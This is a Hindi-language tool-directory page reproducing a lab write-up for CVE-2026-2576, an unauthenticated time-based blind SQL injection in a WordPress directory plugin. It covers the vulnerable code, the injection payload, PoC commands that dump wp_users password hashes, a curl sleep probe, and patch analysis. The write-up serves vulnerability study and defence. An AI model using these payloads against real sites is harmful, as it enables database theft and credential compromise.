Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE_2026_2576_PoC — CVE-2026-2576 — Business Directory Plugin SQLi PoC (स्थानीय सेटअप)। WordPress ≤ 6.4.21 के लिए Business Directory Plugin में बिना प्रमाणीकरण के Time-Based Blind SQL Injection। | Kitploit
उपकरण/GitHubGitHub/sowatkheang/cve_2026_2576_poc
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षालैब और अभ्यास
GitHubsowatkheang/cve_2026_2576_poc

CVE_2026_2576_PoC

CVE-2026-2576 — Business Directory Plugin SQLi PoC (स्थानीय सेटअप)। WordPress ≤ 6.4.21 के लिए Business Directory Plugin में बिना प्रमाणीकरण के Time-Based Blind SQL Injection।

रिपॉजिटरी देखें
25 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-2576 — Business Directory Plugin SQLi PoC

अप्रमाणित टाइम-आधारित ब्लाइंड SQL इंजेक्शन
WordPress के लिए Business Directory Plugin ≤ 6.4.21


विषय-सूची

  • भेद्यता अवलोकन
  • तकनीकी विश्लेषण
  • प्रयोगशाला आवश्यकताएँ
  • प्रयोगशाला सेटअप
  • PoC चलाना
  • अपेक्षित आउटपुट
  • पैच विश्लेषण
  • संदर्भ
  • अस्वीकरण

भेद्यता अवलोकन

फ़ील्डविवरण
CVECVE-2026-2576
प्लगइनBusiness Directory Plugin – Easy Listing Directories for WordPress
विक्रेताstrategy11team
प्रभावित6.4.21 तक के सभी संस्करण
पैच किया गया6.4.22
प्रकारटाइम-आधारित ब्लाइंड SQL इंजेक्शन (CWE-89)
प्रमाणीकरणकोई नहीं — पूरी तरह से अप्रमाणित
CVSS7.5 (NVD) / 9.3 (Wordfence)
वेक्टरCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
निर्धारकWordfence (CNA) — d8ec7d25-1574-416c-b5fd-3a71b1cc09d2
खुलासाफ़रवरी 18, 2026

Business Directory Plugin भुगतान समर्थन के साथ लिस्टिंग निर्देशिका बनाने के लिए व्यापक रूप से उपयोग किया जाने वाला WordPress प्लगइन है। इसके ORM क्वेरी बिल्डर में एक दोष एक अप्रमाणित हमलावर को payment क्वेरी पैरामीटर के माध्यम से टाइम-आधारित ब्लाइंड SQL इंजेक्शन करने की अनुमति देता है, जिससे डेटाबेस सामग्री का अनुमान लगाना संभव हो जाता है।


तकनीकी विश्लेषण

मूल कारण

यह भेद्यता ORM क्वेरी बिल्डर में स्थित है:

फ़ाइल: includes/db/class-db-query-set.php — filter_args()

root@kitploit:~
private function filter_args( $args ) {
    $filters = array();

    foreach ( $args as $f => $v ) {
        $op = '=';
        // ...

        if ( is_array( $v ) ) {
            // ❌ असुरक्षित — कोई सैनिटाइज़ेशन नहीं, सीधे स्ट्रिंग संयोजन
            $filters[] = "$f IN ('" . implode( "','", $v ) . "')";
        } else {
            // ✓ सुरक्षित — $wpdb->prepare() का उपयोग करता है
            $filters[] = $this->db->prepare( "$f $op %s", $v );
        }
    }

    return $filters;
}

जब $v एक स्केलर होता है, तो कोड सही ढंग से $wpdb->prepare() का उपयोग करता है। जब $v एक सरणी होता है, तो यह असुरक्षित शाखा में गिर जाता है और मानों को बिना किसी एस्केपिंग के सीधे SQL स्ट्रिंग में जोड़ देता है।

ट्रिगर

चेकआउट कंट्रोलर (includes/controllers/pages/class-checkout.php) payment अनुरोध पैरामीटर को पढ़ता है और इसे ORM को भेजता है:

root@kitploit:~
// class-checkout.php :: fetch_payment()
$payment_id = wpbdp_get_var( array( 'param' => 'payment' ), 'request' );
if ( ! $this->payment_id && ! empty( $payment_id ) ) {
    $this->payment = WPBDP_Payment::objects()->get(
        array( 'payment_key' => $payment_id )  // $payment_id मान के रूप में पारित किया गया
    );
}

PHP स्वचालित रूप से क्वेरी स्ट्रिंग में payment[]=value को एक सरणी $_GET['payment'] = ['value'] में परिवर्तित कर देता है। यह filter_args() में $v को एक सरणी बनने के लिए मजबूर करता है, जिससे असुरक्षित शाखा प्रभावित होती है।

इंजेक्शन प्रवाह

root@kitploit:~
GET /?page_id=4&wpbdp_view=checkout&payment[]=<payload>

  PHP: $_REQUEST['payment'] = ['<payload>']   ← [] नोटेशन के कारण सरणी
                    |
                    v
  class-checkout.php: fetch_payment()
                    |
                    v
  WPBDP_Payment::objects()->get(['payment_key' => ['<payload>']])
                    |
                    v
  class-db-query-set.php: filter_args()
      => is_array($v) == TRUE → असुरक्षित शाखा
      => "$f IN ('" . implode("','", $v) . "')"
                    |
                    v
  MySQL: SELECT * FROM wp_wpbdp_payments
         WHERE payment_key IN ('<payload>')

इंजेक्शन पेलोड

root@kitploit:~
payment[]=<key>') AND IF((<condition>),SLEEP(N),0)-- -

उत्पन्न SQL:

root@kitploit:~
SELECT * FROM wp_wpbdp_payments
WHERE payment_key IN ('<key>') AND IF((<condition>),SLEEP(N),0)-- -')

-- - अनुगामी ') को टिप्पणी के रूप में चिह्नित करता है। IF() एक बूलियन ओरेकल बनाता है, जब स्थिति TRUE होती है, तो SLEEP(N) सक्रिय होता है और प्रतिक्रिया में देरी होती है; जब FALSE होता है तो प्रतिक्रिया तत्काल होती है।

नोट: ORM क्वेरी को प्रति अनुरोध दो बार निष्पादित करता है (एक बार get() में, एक बार maybe_execute_query() में), इसलिए SLEEP(1) पेलोड ~2 सेकंड की अवलोकन योग्य देरी उत्पन्न करता है, और SLEEP(2) ~4 सेकंड उत्पन्न करता है।

प्रभाव

एक अप्रमाणित हमलावर टाइम-आधारित प्रतिक्रियाओं के माध्यम से डेटाबेस सामग्री को वर्ण-दर-वर्ण अनुमानित और निकाल सकता है, जिसमें शामिल हैं:

  • WordPress उपयोगकर्ता तालिका (wp_users), उपयोगकर्ता नाम, ईमेल पते, पासवर्ड हैश
  • प्लगइन भुगतान रिकॉर्ड, लेनदेन डेटा, लिस्टिंग स्वामी विवरण
  • DB उपयोगकर्ता के लिए सुलभ कोई भी अन्य तालिका

पैच

संस्करण 6.4.22 में फिक्स filter_args() की सरणी शाखा में सैनिटाइज़ेशन जोड़ता है:

root@kitploit:~
// पहले (असुरक्षित)
$filters[] = "$f IN ('" . implode( "','", $v ) . "')";

// बाद में (पैच किया गया)
$escaped   = array_map( array( $this->db, 'esc_sql' ), $v );
$filters[] = "$f IN ('" . implode( "','", $escaped ) . "')";

प्रयोगशाला आवश्यकताएँ

  • Docker + Docker Compose (v2)
  • Python 3.9+
  • Kali Linux या कोई भी Linux होस्ट
  • इंटरनेट एक्सेस (Docker इमेज खींचने और प्लगइन डाउनलोड करने के लिए)

Python निर्भरताएँ स्थापित करें:

root@kitploit:~
pip3 install requests colorama --break-system-packages

प्रयोगशाला सेटअप

चरण 1: प्रयोगशाला निर्देशिका क्लोन या बनाएं

root@kitploit:~
cve-2026-2576-lab/
┣ 📂poc
┃ ┣ 📜patch_diff.py
┃ ┗ 📜poc.py
┣ 📜.gitignore
┣ 📜docker-compose.yml
┣ 📜init-db.sql
┣ 📜README.md
┣ 📜setup.sh
┗ 📜uploads.ini

चरण 2: पूरा स्टैक शुरू करें

root@kitploit:~
cd cve-2026-2576-lab
docker compose up -d --build

चरण 3: इंस्टॉलर चलाएं और पूरा होने की प्रतीक्षा करें

root@kitploit:~
docker compose up setup

जब तक आप यह न देखें तब तक प्रतीक्षा करें:

root@kitploit:~
╔══════════════════════════════════════════════════════════╗
║           प्रयोगशाला सेटअप पूर्ण!                            ║
╠══════════════════════════════════════════════════════════╣
║  WordPress:   http://localhost:8080                      ║
║  WP Admin:    http://localhost:8080/wp-admin             ║
║  phpMyAdmin:  http://localhost:8082                      ║
╠══════════════════════════════════════════════════════════╣
║  admin / admin123                                        ║
║  victim / victimpass123                                  ║
╠══════════════════════════════════════════════════════════╣
║  प्लगइन: 6.4.21 (असुरक्षित)                             ║
║  BD पेज ID: 4                                           ║
╚══════════════════════════════════════════════════════════╝

चरण 4: असुरक्षित प्लगइन संस्करण की पुष्टि करें

root@kitploit:~
docker exec lab_wordpress bash -c \
  "grep 'Version:' /var/www/html/wp-content/plugins/business-directory-plugin/business-directory-plugin.php \
  | head -1"
# अपेक्षित: * Version: 6.4.21

चरण 5: डेटाबेस से वास्तविक payment_key प्राप्त करें

root@kitploit:~
docker exec lab_mysql mysql -uwpuser -pwppass wordpress -e "SELECT id, payment_key, status FROM wp_wpbdp_payments;"
root@kitploit:~
+----+--------------+---------+
| id | payment_key  | status  |
+----+--------------+---------+
|  1 | seed-pay-001 | pending |
+----+--------------+---------+

चरण 6: phpMyAdmin शुरू करें (वैकल्पिक, DB निरीक्षण के लिए)

root@kitploit:~
docker compose up -d pma
# http://localhost:8082 पर एक्सेस करें  (root / rootpass)

PoC चलाना

सभी कमांड आपके Kali होस्ट पर प्रयोगशाला रूट निर्देशिका से चलाए जाते हैं। http://localhost:8080 का उपयोग करें (होस्ट → Docker पोर्ट मैपिंग)। payment_key को wp_wpbdp_payments में मौजूदा पंक्ति के अनुरूप होना चाहिए।

पता लगाना: इंजेक्शन के अस्तित्व की पुष्टि करें

root@kitploit:~
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --detect

अपेक्षित: INJECTION CONFIRMED ✓ (2.03s ≈ 1s × 2 ORM executions)

Alt text

निकालें: डेटाबेस नाम, संस्करण, उपयोगकर्ता

root@kitploit:~
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --extract-db

Alt text

सूची: डेटाबेस में सभी तालिकाएँ

root@kitploit:~
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --tables

डंप: WordPress उपयोगकर्ता तालिका (पासवर्ड हैश)

root@kitploit:~
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table wp_users

डंप: कस्टम तालिका (सीडेड रहस्य)

root@kitploit:~
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table lab_secrets

कस्टम SQL एक्सप्रेशन निष्कर्षण

root@kitploit:~
python3 poc/poc.py --target http://localhost:8080 --page-id 4  --payment-key seed-pay-001 --custom-sql "SELECT secret_value FROM lab_secrets WHERE label='flag'"  

गति ट्यूनिंग

फ़्लैगडिफ़ॉल्टनोट्स
--sleep N1प्रति ओरेकल SLEEP(N)। TRUE ≈ N×2s। कम = तेज़, अधिक शोर
--threads N4समानांतर वर्ण स्थितियाँ। आधुनिक हार्डवेयर पर 8 अच्छा काम करता है
root@kitploit:~
# सबसे तेज़ निष्कर्षण
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table wp_users --sleep 1 --threads 8

मैनुअल curl सत्यापन

root@kitploit:~
# आधार रेखा: < 0.1s में वापस आना चाहिए
time curl -s -o /dev/null "http://localhost:8080/?page_id=4&wpbdp_view=checkout&payment[]=seed-pay-001"

# स्लीप प्रोब: ~4s में वापस आना चाहिए (SLEEP(2) × 2 निष्पादन)
time curl -s -o /dev/null "http://localhost:8080/?page_id=4&wpbdp_view=checkout&payment[]=$(python3 -c "import urllib.parse; print(urllib.parse.quote(\"seed-pay-001') AND SLEEP(2)-- -\"))")" 


पैच विश्लेषण

असुरक्षित संस्करण की तुलना पैच किए गए संस्करण से करने के लिए:

root@kitploit:~
python3 poc/patch_diff.py 

# पूर्ण डिफ के लिए
python3 poc/patch_diff.py --full
  • या मैनुअल डाउनलोड
root@kitploit:~
# दोनों संस्करण डाउनलोड करें
svn export https://plugins.svn.wordpress.org/business-directory-plugin/tags/6.4.21/ /tmp/v6421
svn export https://plugins.svn.wordpress.org/business-directory-plugin/tags/6.4.22/ /tmp/v6422

# असुरक्षित फ़ाइल का डिफ करें
diff -u /tmp/v6421/includes/db/class-db-query-set.php /tmp/v6422/includes/db/class-db-query-set.php

डिफ filter_args() की सरणी शाखा में जोड़ा गया esc_sql() दिखाएगा।


प्रयोगशाला प्रबंधन

root@kitploit:~
# प्रयोगशाला रोकें (डेटा संरक्षित रहता है)
docker compose stop

# पुनः प्रारंभ करें
docker compose start

# पूर्ण टियरडाउन — सभी वॉल्यूम और डेटा नष्ट करता है
docker compose down -v

# शुरू से सेटअप फिर से चलाएं
docker compose down -v && docker compose up setup

# WordPress कंटेनर में शेल
docker exec -it lab_wordpress bash

# WordPress PHP त्रुटि लॉग देखें
docker exec lab_wordpress tail -f /var/www/html/wp-content/debug.log

# MySQL क्वेरी लॉग को वास्तविक समय में देखें
docker exec lab_mysql mysql -uroot -prootpass -e "SET GLOBAL general_log=1; SET GLOBAL general_log_file='/tmp/mysql.log';"

docker exec lab_mysql tail -f /tmp/mysql.log

संदर्भ

  • Wordfence सलाह — https://www.wordfence.com/threat-intel/vulnerabilities/id/d8ec7d25-1574-416c-b5fd-3a71b1cc09d2
  • NVD प्रविष्टि — https://nvd.nist.gov/vuln/detail/CVE-2026-2576
  • WordPress प्लगइन पेज — https://wordpress.org/plugins/business-directory-plugin/
  • WordPress प्लगइन SVN — https://plugins.svn.wordpress.org/business-directory-plugin/
  • OWASP: SQL इंजेक्शन — https://owasp.org/www-community/attacks/SQL_Injection
  • CWE-89 — https://cwe.mitre.org/data/definitions/89.html
  • WordPress $wpdb->prepare() दस्तावेज़ — https://developer.wordpress.org/reference/classes/wpdb/prepare/

अस्वीकरण

यह रिपॉजिटरी केवल अधिकृत सुरक्षा अनुसंधान और शैक्षिक उद्देश्यों के लिए है। सभी परीक्षण एक पृथक स्थानीय प्रयोगशाला वातावरण में किए गए थे। इस टूल को उन प्रणालियों के विरुद्ध कभी न चलाएं जिनके आप स्वामी नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति नहीं है। कंप्यूटर प्रणालियों तक अनधिकृत पहुंच कंप्यूटर फ्रॉड एंड एब्यूज़ एक्ट (CFAA) और अन्य न्यायक्षेत्रों के समकक्ष कानूनों के तहत अवैध है।

लेखक इस सामग्री के दुरुपयोग के लिए कोई दायित्व नहीं मानता है। हमेशा जिम्मेदार खुलासा प्रथाओं का पालन करें — यदि आप इस शोध पर आधारित नई खोजें करते हैं, तो प्रकाशन से पहले विक्रेता के साथ समन्वय करें।


Kali Linux पर एक पृथक Docker प्रयोगशाला में शोध और विकसित किया गया।

टूल डाउनलोड करें